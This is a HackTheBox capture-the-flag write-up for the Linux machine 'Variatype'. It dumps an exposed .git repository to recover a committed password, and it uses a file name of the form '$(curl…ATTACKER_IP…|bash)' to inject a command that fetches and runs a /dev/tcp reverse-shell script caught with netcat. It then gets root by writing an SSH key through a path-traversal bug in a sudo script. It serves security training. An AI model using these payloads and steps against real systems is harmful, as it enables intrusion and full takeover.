Variatype : HackTheBox Writeup

Machine Information

Field	Value
Name	Variatype
Platform	HackTheBox
Difficulty	Medium
OS	Linux

Reconnaissance

Initial Web Enumeration

The target exposes a web portal at:

http://portal.variatype.htb

During enumeration an exposed Git repository was discovered.

Verification:

curl http://portal.variatype.htb/.git/HEAD

Response:

ref: refs/heads/master

This confirms that the .git directory is publicly accessible.

Git Repository Disclosure

Because the Git repository is exposed it can be reconstructed locally.

Dumping the Repository

git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
pip install -r requirements.txt --break-system-packages
python3 git_dumper.py http://portal.variatype.htb/.git/ repo

Navigate to the repository:

cd repo
ls

Output:

auth.php

Credential Discovery

Opening the file shows no credentials in the latest commit:

cat auth.php

<?php
session_start();
$USERS = [];

Checking the commit history:

git log -p auth.php

Output shows credentials that were previously committed:

$USERS = [
    'gitbot' => 'G1tB0t_Acc3ss_2025!'
];

Recovered credentials:

Username: gitbot
Password: G1tB0t_Acc3ss_2025!

Portal Access

http://portal.variatype.htb

Credentials:

gitbot : G1tB0t_Acc3ss_2025!

After logging in, the portal allows users to submit font packages that are processed by an automated backend pipeline.

Understanding the Font Processing Pipeline

A backup script revealed how the automation works:

/opt/process_client_submissions.bak

The pipeline extracts uploaded archives and processes font files automatically using FontForge.

User supplied filenames are not properly sanitized.

Command Injection via Filename

Because filenames are passed directly to the shell, command substitution can be abused.

Example syntax:

$(command)

If used in a filename, the command inside $() will be executed.

Preparing the Exploit

Reverse Shell Payload

Create a reverse shell script:

echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > r.sh

Host the payload:

python3 -m http.server 8888

Malicious Font File

Create a malicious filename:

touch '$(curl${IFS}ATTACKER_IP:8888/r.sh|bash).ttf'

Create the archive:

tar -czf fontpack.tar.gz '$(curl${IFS}ATTACKER_IP:8888/r.sh|bash).ttf'

Reverse Shell

Start a listener:

nc -lvnp 4444

Upload the archive through the portal.

When the pipeline processes the archive the filename executes the payload.

Shell obtained as:

steve

Shell Stabilization

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Privilege Escalation

Check sudo permissions:

sudo -l

Output:

(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script downloads a plugin and writes it locally but does not properly validate the destination path.

This allows arbitrary file write.

SSH Key Injection

Generate SSH key pair:

ssh-keygen -t rsa -f rootkey

Prepare directory structure:

mkdir -p root/.ssh
cp rootkey.pub root/.ssh/authorized_keys

Start web server:

python3 -m http.server 8888

Exploiting the Script

Execute:

sudo python3 /opt/font-tools/install_validator.py \
"http://ATTACKER_IP:8888/%2Froot%2F.ssh%2Fauthorized_keys"

%2F is decoded to /, resulting in the file being written to:

/root/.ssh/authorized_keys

Root Access

ssh -i rootkey root@TARGET_IP

Retrieve the flag:

cat /root/root.txt

Attack Chain

Exposed .git
    ↓
Dump repository
    ↓
Recover gitbot credentials
    ↓
Login to portal
    ↓
Upload malicious archive
    ↓
Command injection via filename
    ↓
Reverse shell as steve
    ↓
Abuse sudo script
    ↓
Write SSH key to root
    ↓
SSH as root

>_ 0xDext3r

Variatype